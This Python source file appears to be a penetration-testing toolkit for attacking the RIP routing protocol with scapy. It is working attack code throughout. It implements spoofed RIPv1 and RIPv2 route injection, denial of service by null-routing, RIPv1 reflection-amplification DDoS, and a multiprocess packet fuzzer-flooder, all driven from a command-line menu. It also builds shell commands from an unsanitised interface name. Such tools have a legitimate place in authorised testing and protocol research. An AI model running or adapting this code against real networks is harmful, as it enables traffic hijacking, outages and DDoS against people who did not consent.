mgeeky-Penetration-Testing-.../networks/RoutingAttackKit.py

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2019-02-19 14:47:00 +01:00
#!/usr/bin/python
#
# Currently implemented attacks:
# - sniffer - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings
# - ripv1-route - Spoofed RIPv1 Route Announcements
# - ripv1-dos - RIPv1 Denial of Service via Null-Routing
# - ripv1-ampl - RIPv1 Reflection Amplification DDoS
# - ripv2-route - Spoofed RIPv2 Route Announcements
# - ripv2-dos - RIPv2 Denial of Service via Null-Routing
# - rip-fuzzer - RIPv1/RIPv2 protocol fuzzer, covering RIPAuth and RIPEntry structures fuzzing
#
# Python requirements:
# - scapy
#
# Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
#
import sys
import socket
import fcntl
import struct
import string
import random
import commands
import argparse
import multiprocessing
try:
from scapy.all import *
except ImportError:
print('[!] Scapy required: pip install scapy')
sys.exit(1)
VERSION = '0.1'
config = {
'verbose' : False,
'debug' : False,
'delay' : 1.0,
'interface': None,
'processors' : 8,
'network': '',
'spoof': '',
'nexthop': '',
'netmask': '',
'metric': 0,
'auth-type': '',
'auth-data': '',
}
attacks = {}
stopThreads = False
#
# ===============================================
#
def flooder(num, packets):
Logger.dbg('Starting task: {}, packets num: {}'.format(num, len(packets)))
for p in packets:
if stopThreads: break
try:
if stopThreads:
raise KeyboardInterrupt
sendp(p, verbose = False)
if len(p) < 1500:
Logger.dbg("Sent: \n" + str(p))
except KeyboardInterrupt:
break
except Exception as e:
pass
Logger.dbg('Stopping task: {}'.format(num))
class Logger:
@staticmethod
def _out(x):
if config['verbose'] or config['debug']:
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[.] ' + x)
@staticmethod
def info(x):
Logger._out('[.] ' + x)
@staticmethod
def dbg(x):
if config['debug']:
Logger._out('[dbg] ' + x)
@staticmethod
def err(x):
sys.stdout.write('[!] ' + x + '\n')
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
# Well, not very fuzzy that fuzzer I know.
class Fuzzer:
@staticmethod
def get8bitFuzzes():
out = set()
for i in range(9):
out.add(2 ** i - 1)
out.add(2 ** i - 2)
out.add(2 ** i)
out.add(2 ** i + 1)
#out.add(2 ** i + 2)
return [k for k in out if abs(k) < 2**8]
@staticmethod
def get16bitFuzzes():
out = set()
for i in range(17):
out.add(2 ** i - 1)
out.add(2 ** i - 2)
out.add(2 ** i)
out.add(2 ** i + 1)
#out.add(2 ** i + 2)
return [k for k in out if abs(k) < 2**16]
@staticmethod
def get32bitFuzzes():
out = set()
for i in range(33):
out.add(2 ** i - 1)
out.add(2 ** i - 2)
out.add(2 ** i)
out.add(2 ** i + 1)
#out.add(2 ** i + 2)
return [k for k in out if abs(k) < 2**32]
@staticmethod
def deBrujinPattern(length):
if length == 0: return ''
if length >= 20280:
out = ''
out += Fuzzer.deBrujinPattern(20280 - 1)
out += "A" * (length - 20280 - 1)
return out
pattern = ''
for upper in string.ascii_uppercase:
for lower in string.ascii_lowercase:
for digit in string.digits:
if len(pattern) < length:
pattern += upper + lower + digit
else:
out = pattern[:length]
return out
return pattern
@staticmethod
def getFuzzyStrings(maxLen = -1, allOfThem = True):
out = set()
for b in Fuzzer.get16bitFuzzes():
out.add(Fuzzer.deBrujinPattern(b))
if allOfThem:
for b in range(0, 65400, 256):
if maxLen != -1 and b > maxLen: break
out.add(Fuzzer.deBrujinPattern(b))
if maxLen != -1:
return set([x for x in out if len(x) <= maxLen])
return out
@staticmethod
def get32bitProblematicPowersOf2():
return Fuzzer.get32bitFuzzes()
class RoutingAttack:
def __init__(self):
pass
def injectOptions(self, params, config):
pass
def launch(self):
pass
class Sniffer(RoutingAttack):
def __init__(self):
pass
def injectOptions(self, params, config):
self.config = config
self.config.update(params)
def processPacket(pkt):
# TODO
raise Exception('Not yet implemented.')
def launch(self):
# TODO
raise Exception('Not yet implemented.')
def packetCallback(d):
self.processPacket(d)
try:
pkts = sniff(
count = 1000,
filter = 'udp port 520',
timeout = 10.0,
prn = packetCallback,
iface = self.config['interface']
)
except Exception as e:
if 'Network is down' in str(e):
pass
else:
Logger.err('Exception occured during sniffing: {}'.format(str(e)))
except KeyboardInterrupt:
pass
class RIPv1v2Attacks(RoutingAttack):
ripAuthTypes = {
'simple' : 2, 'md5' : 3, 'md5authdata': 1
}
def __init__(self):
self.config = {
'interface' : '',
'delay': 1,
'network' : '',
'metric' : 10,
'netmask' : '255.255.255.0',
'nexthop' : '0.0.0.0',
'spoof' : '',
'version' : 0,
}
@staticmethod
def getRipAuth(config):
ripauth = RIPAuth()
ripauth.authtype = RIPv1v2Attacks.ripAuthTypes[config['auth-type']]
if ripauth.authtype == 2:
ripauth.password = config['auth-data']
elif ripauth.authtype == 1:
ripauth.authdata = config['auth-data']
elif ripauth.authtype == 3:
ripauth.digestoffset = 0
ripauth.keyid = 0
ripauth.authdatalen = len(config['auth-data'])
ripauth.seqnum = 0
return ripauth
def injectOptions(self, params, config):
self.config = config
self.config.update(params)
Logger.info("Fake Route Announcement to be injected:")
Logger.info("\tNetwork: {}".format(config['network']))
Logger.info("\tNetmask: {}".format(config['netmask']))
Logger.info("\tNexthop: {}".format(config['nexthop']))
Logger.info("\tMetric: {}".format(config['metric']))
if not config['network'] or not config['netmask'] \
or not config['nexthop'] or not config['metric']:
Logger.err("Module needs following options to operate: network, netmask, nexthop, metric")
return False
if params['version'] != 1 and params['version'] != 2:
Logger.err("RIP protocol version must be either 1 or 2 as passed in attacks params!")
return False
return True
def launch(self):
packet = self.getPacket()
Logger.info("Sending RIPv{} Spoofed Route Announcements...".format(self.config['version']))
sendp(packet, loop = 1, inter = self.config['delay'], iface = config['interface'])
def getPacket(self):
networkToAnnounce = self.config['network']
metricToAnnounce = self.config['metric']
netmaskToAnnounce = self.config['netmask']
nexthopToAnnounce = self.config['nexthop']
spoofedIp = self.config['spoof']
etherframe = Ether() # Start definition of Ethernet Frame
ip = IP() # IPv4 packet
udp = UDP()
udp.sport = 520 # According to RFC1058, 520/UDP port must be used for solicited communication
udp.dport = 520
rip = RIP()
ripentry = RIPEntry() # Announced route
ripentry.AF = "IP" # Address Family: IP
if 'AF' in self.config.keys():
ripentry.AF = self.config['AF']
ripentry.addr = networkToAnnounce # Spoof route for this network...
ripentry.metric = metricToAnnounce
if self.config['version'] == 1:
ip.dst = '255.255.255.255' # RIPv1 broadcast destination
etherframe.dst = 'ff:ff:ff:ff:ff:ff'
rip.version = 1 # RIPv1
rip.cmd = 2 # Command: Response
elif self.config['version'] == 2:
ip.dst = '224.0.0.9' # RIPv2 multicast destination
rip.version = 2 # RIPv2
rip.cmd = 2 # Command: Response
ripentry.RouteTag = 0
ripentry.mask = netmaskToAnnounce
ripentry.nextHop = nexthopToAnnounce # ... to be going through this next hop device.
if 'rip_cmd' in self.config.keys():
rip.cmd = self.config['rip_cmd']
if not self.config['auth-type']:
rip_packet = etherframe / ip / udp / rip / ripentry
else:
ripauth = RIPv1v2Attacks.getRipAuth(self.config)
Logger.info('Using RIPv2 authentication: type={}, pass="{}"'.format(
self.config['auth-type'], self.config['auth-data']
))
rip_packet = etherframe / ip / udp / rip / ripauth / ripentry
rip_packet[IP].src = spoofedIp
return rip_packet
class RIPFuzzer(RoutingAttack):
ripCommands = (
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
)
def __init__(self):
self.config = {
'interface' : '',
'network' : '192.168.1.0',
'metric' : 10,
'netmask' : '255.255.255.0',
'nexthop' : '0.0.0.0',
'spoof' : '',
}
def injectOptions(self, params, config):
self.config = config
self.params = params
return True
def launch(self):
packets = set()
Logger.info("Generating fuzzed packets for RIPv1...")
packets.update(self.generateRipv1Packets())
Logger.info("Generating fuzzed packets for RIPv2...")
packets.update(self.generateRipv2Packets())
Logger.info("Collected in total {} packets to send. Sending them out...".format(len(packets)))
packetsLists = [[] for x in range(self.config['processors'])]
packetsList = list(packets)
for i in range(len(packetsList)):
packetsLists[i % config['processors']].append(packetsList[i])
jobs = []
for i in range(config['processors']):
task = multiprocessing.Process(target = flooder, args = (i, packetsLists[i]))
jobs.append(task)
task.daemon = True
task.start()
print('[+] Started flooding. Press CTRL-C to stop that.')
try:
while jobs:
jobs = [job for job in jobs if job.is_alive()]
except KeyboardInterrupt:
stopThreads = True
print('\n[>] Stopping...')
stopThreads = True
time.sleep(3)
Logger.ok("Fuzzing finished. Sent around {} packets.".format(len(packets)))
def generateRipv1Packets(self):
packets = set()
base = Ether(dst = 'ff:ff:ff:ff:ff:ff') / IP(dst = '255.255.255.255') / UDP(sport = 520, dport = 520)
# Step 1: Fuzz on Command values.
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
rip = RIP(version = 1, cmd = val)
packets.add(base / rip)
packets.add(base / rip / RIPEntry() )
# Step 1b: Fuzz on Command values with packet filled up with data
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
rip = RIP(version = 1, cmd = val)
for data in Fuzzer.getFuzzyStrings():
if not data: data = ''
packets.add(base / rip / data)
packets.add(base / rip / RIPEntry() / data)
# Step 2: Fuzz on Response RIPEntry AF values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 1, cmd = 2)
packets.add(base / rip / RIPEntry(AF = val) )
# Step 3: Fuzz on Response RIPEntry RouteTag values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 1, cmd = 2)
packets.add(base / rip / RIPEntry(RouteTag = val) )
# Step 4: Fuzz on Response RIPEntry metric values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 1, cmd = 2)
packets.add(base / rip / RIPEntry(metric = val) )
# Step 5: Add multiple RIPEntry structures
for num in Fuzzer.get32bitProblematicPowersOf2():
rip = RIP(version = 1, cmd = 2)
entries = []
try:
ipv4 = socket.inet_ntoa(struct.pack('!L', num))
except:
ipv4 = '127.0.0.2'
if (num * 20) > 2 ** 16:
break
for i in range(num):
entries.append(RIPEntry(addr = ipv4))
packets.add(base / rip / ''.join([str(x) for x in entries]))
return packets
def generateRipv2Packets(self):
packets = set()
base = Ether() / IP(src = self.config['spoof'], dst = '224.0.0.9') / UDP(sport = 520, dport = 520)
# Step 1: Fuzz on Command values.
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
rip = RIP(version = 2, cmd = val)
packets.add(base / rip)
packets.add(base / rip / RIPEntry() )
# Step 1b: Fuzz on Command values with packet filled up with data
for val in set(RIPFuzzer.ripCommands + tuple(Fuzzer.get8bitFuzzes())):
rip = RIP(version = 2, cmd = val)
for data in Fuzzer.getFuzzyStrings():
if not data: data = ''
packets.add(base / rip / data)
packets.add(base / rip / RIPEntry() / data)
# Step 2: Fuzz on Version values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = val, cmd = 1)
packets.add(base / rip)
packets.add(base / rip / RIPEntry() )
# Step 3: Fuzz on Authentication data values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = val, cmd = 1)
for auth in RIPFuzzer.fuzzRipv2Auth():
packets.add(base / rip / auth )
packets.add(base / rip / auth / RIPEntry() )
# Step 4: Fuzz on Response RIPEntry AF values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 2, cmd = 2)
packets.add(base / rip / RIPEntry(AF = val) )
# Step 5: Fuzz on Response RIPEntry RouteTag values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 2, cmd = 2)
packets.add(base / rip / RIPEntry(RouteTag = val) )
# Step 6: Fuzz on Response RIPEntry metric values.
for val in set(Fuzzer.get8bitFuzzes()):
rip = RIP(version = 2, cmd = 2)
packets.add(base / rip / RIPEntry(metric = val) )
# Step 7: Add multiple RIPEntry structures
for num in Fuzzer.get32bitProblematicPowersOf2():
rip = RIP(version = 2, cmd = 2)
entries = []
try:
ipv4 = socket.inet_ntoa(struct.pack('!L', num))
except:
ipv4 = '127.0.0.2'
if (num * 20) > 2 ** 16:
break
for i in range(num):
entries.append(RIPEntry(addr = ipv4))
packets.add(base / rip / ''.join([str(x) for x in entries]))
return packets
@staticmethod
def fuzzRipv2Auth():
auths = set()
# Step 1: Fuzz on RIPAuth authtype.
for val in set(Fuzzer.get8bitFuzzes()):
ripauth = RIPAuth()
ripauth.authtype = val
ripauth.password = '0123456789abcdef'
auths.add(ripauth)
# Step 2: Fuzz on RIPAuth md5authdata structure's digestoffset.
for val in set(Fuzzer.get16bitFuzzes()):
ripauth = RIPAuth()
ripauth.authtype = 1
ripauth.digestoffset = val
ripauth.keyid = 0
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
ripauth.seqnum = 0
auths.add(ripauth)
# Step 3: Fuzz on RIPAuth md5authdata structure's keyid.
for val in set(Fuzzer.get8bitFuzzes()):
ripauth = RIPAuth()
ripauth.authtype = 1
ripauth.digestoffset = 0
ripauth.keyid = val
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
ripauth.seqnum = 0
auths.add(ripauth)
# Step 4: Fuzz on RIPAuth md5authdata structure's seqnum.
for val in set(Fuzzer.get8bitFuzzes()):
ripauth = RIPAuth()
ripauth.authtype = 1
ripauth.digestoffset = 0
ripauth.keyid = 0
ripauth.authdatalen = '\x01\x02\x03\x04\x05\x06\x07\x08'
ripauth.seqnum = val
auths.add(ripauth)
# Step 5: Fuzz on RIPAuth md5authdata structure's authdatalen.
for val in set(Fuzzer.getFuzzyStrings(maxLen = 16, allOfThem = False)):
ripauth = RIPAuth()
ripauth.authtype = 1
ripauth.digestoffset = 0
ripauth.keyid = 0
ripauth.authdatalen = val
ripauth.seqnum = 0
auths.add(ripauth)
return auths
def getHwAddr(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
def getIfaceIP(iface):
out = shell("ip addr show " + iface + " | grep 'inet ' | awk '{print $2}' | head -1 | cut -d/ -f1")
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
return out
def shell(cmd):
out = commands.getstatusoutput(cmd)[1]
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
return out
def selectDefaultInterface():
global config
commands = {
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
}
for k, v in commands.items():
out = shell(v)
if len(out) > 0:
Logger.dbg('Default interface lookup command returned:\n{}'.format(out))
config['interface'] = out
return out
return ''
def parseOptions(argv):
global config
print('''
:: Routing Protocols Exploitation toolkit
Sends out various routing protocols management frames
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
v{}
'''.format(VERSION))
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
parser.add_argument('-D', '--debug', action='store_true', help='Display debug output.')
parser.add_argument('-d', '--delay', type=float, default=1.0, help='Delay in seconds (float) between sending consecutive packets. Default: 1 second. Not applies to fuzzers.')
parser.add_argument('-t', '--attack', metavar='ATTACK', default='', help='Select attack to launch. One can use: "-t list" to list available attacks.')
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
parser.add_argument('-s', '--spoof', help = 'IP address to be used as a spoofed/fake gateway, e.g. Attacker machine address. By default will try to figure out that address automatically.', default='')
auth = parser.add_argument_group('Routing Protocol Authentication', 'Specifies authentication data for Routing protocol to use')
auth.add_argument('--auth-type', help = 'Authentication type. Can be one of following: "simple", "md5authdata", "md5". Applies only to authentication-capable protocols, like RIPv2', default='')
auth.add_argument('--auth-data', help = 'Password / authentication data to pass in every packet. This field depends on the "--auth-type" used.', default='')
route = parser.add_argument_group('Spoofed Route injection', 'Specifies fake route details to inject')
route.add_argument('-a', '--network', help = 'IP address of network to announce, can be paired with netmask in CIDR notation. One can use "default" for 0.0.0.0')
route.add_argument('-b', '--netmask', help = 'Netmask to use (can be inferred from "--network". Default: /24', default='255.255.255.0')
route.add_argument('-c', '--nexthop', help = 'Spoofed next hop address. Default: 0.0.0.0.', default = '0.0.0.0')
route.add_argument('-m', '--metric', help = 'Metric to be used. The lower the greater priority it gets. Default: 10', type=int, default='10')
args = parser.parse_args()
if not 'attack' in args:
Logger.err('You must specify an attack to launch!')
return False
if args.attack == 'list':
print("Available attacks:")
for a in attacks:
print("\t{}. '{}' - {}".format(a['num'], a['name'], a['desc']))
sys.exit(0)
else:
att = args.attack
try:
att = int(att)
except: pass
for a in attacks:
if att == a['num'] or att == a['name']:
config['attack'] = a
break
if 'attack' not in config or not config['attack']:
Logger.err("Selected attack is not implemented or wrongly stated.")
parser.print_help()
return False
config['verbose'] = args.verbose
config['debug'] = args.debug
config['delay'] = args.delay
if args.interface != '': config['interface'] = args.interface
else: config['interface'] = selectDefaultInterface()
if args.network != '': config['network'] = args.network
if args.spoof != '': config['spoof'] = args.spoof
else: config['spoof'] = getIfaceIP(config['interface'])
Logger.info("Using {} as local/spoof IP address".format(config['spoof']))
if args.netmask != '': config['netmask'] = args.netmask
if args.nexthop != '': config['nexthop'] = args.nexthop
if args.metric != '': config['metric'] = args.metric
if args.auth_type != '': config['auth-type'] = args.auth_type
if args.auth_data != '': config['auth-data'] = args.auth_data
if config['auth-type'] != '':
if config['auth-data'] == '':
Logger.err("You must specify authentication data along with the --auth-type.")
return False
config['auth-type'] = args.auth_type
config['auth-data'] = args.auth_data
return args
def main(argv):
global attacks
attacks = (
{
'num': 0,
'name': 'sniffer',
'desc': '(NOT YET IMPLEMENTED) Sniffer hunting for authentication strings.',
'object': Sniffer,
'params': {
}
},
{
'num': 1,
'name': 'ripv1-route',
'desc': 'RIP Spoofed Route announcement',
'object': RIPv1v2Attacks,
'params': {
'version' : 1,
}
},
{
'num': 2,
'name': 'ripv1-dos',
'desc': 'RIPv1 Denial of Service by Null-routing',
'object': RIPv1v2Attacks,
'params': {
'version' : 1,
'delay' : 1,
'network': '0.0.0.0',
'metric': 1
}
},
{
'num': 3,
'name': 'ripv1-ampl',
'desc': 'RIPv1 Reflection Amplification DDoS',
'object': RIPv1v2Attacks,
'params': {
'version' : 1,
'delay' : 0.5,
'network': '0.0.0.0',
'netmask': '0.0.0.0',
'nexthop': '0.0.0.1',
'metric': 1,
'AF': 0, # Unspecified
'rip_cmd': 1, # Request
}
},
{
'num': 4,
'name': 'ripv2-route',
'desc': 'RIPv2 Spoofed Route announcement',
'object': RIPv1v2Attacks,
'params': {
'version' : 2,
}
},
{
'num': 5,
'name': 'ripv2-dos',
'desc': 'RIPv2 Denial of Service by Null-routing',
'object': RIPv1v2Attacks,
'params': {
'version' : 2,
'delay' : 1,
'network': '0.0.0.0',
'netmask': '0.0.0.0',
'nexthop': '0.0.0.1',
'metric': 1
}
},
{
'num': 6,
'name': 'rip-fuzzer',
'desc': 'RIP/RIPv2 packets fuzzer',
'object': RIPFuzzer,
'params': {
}
},
)
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
if os.getuid() != 0:
Logger.err('This program must be run as root.')
return False
load_contrib('ospf')
load_contrib('eigrp')
load_contrib('bgp')
attack = config['attack']['object']()
print("[+] Launching attack: {}".format(config['attack']['desc']))
if attack.injectOptions(config['attack']['params'], config):
attack.launch()
else:
Logger.err("Module prerequisite options were not passed correctly.")
if __name__ == '__main__':
main(sys.argv)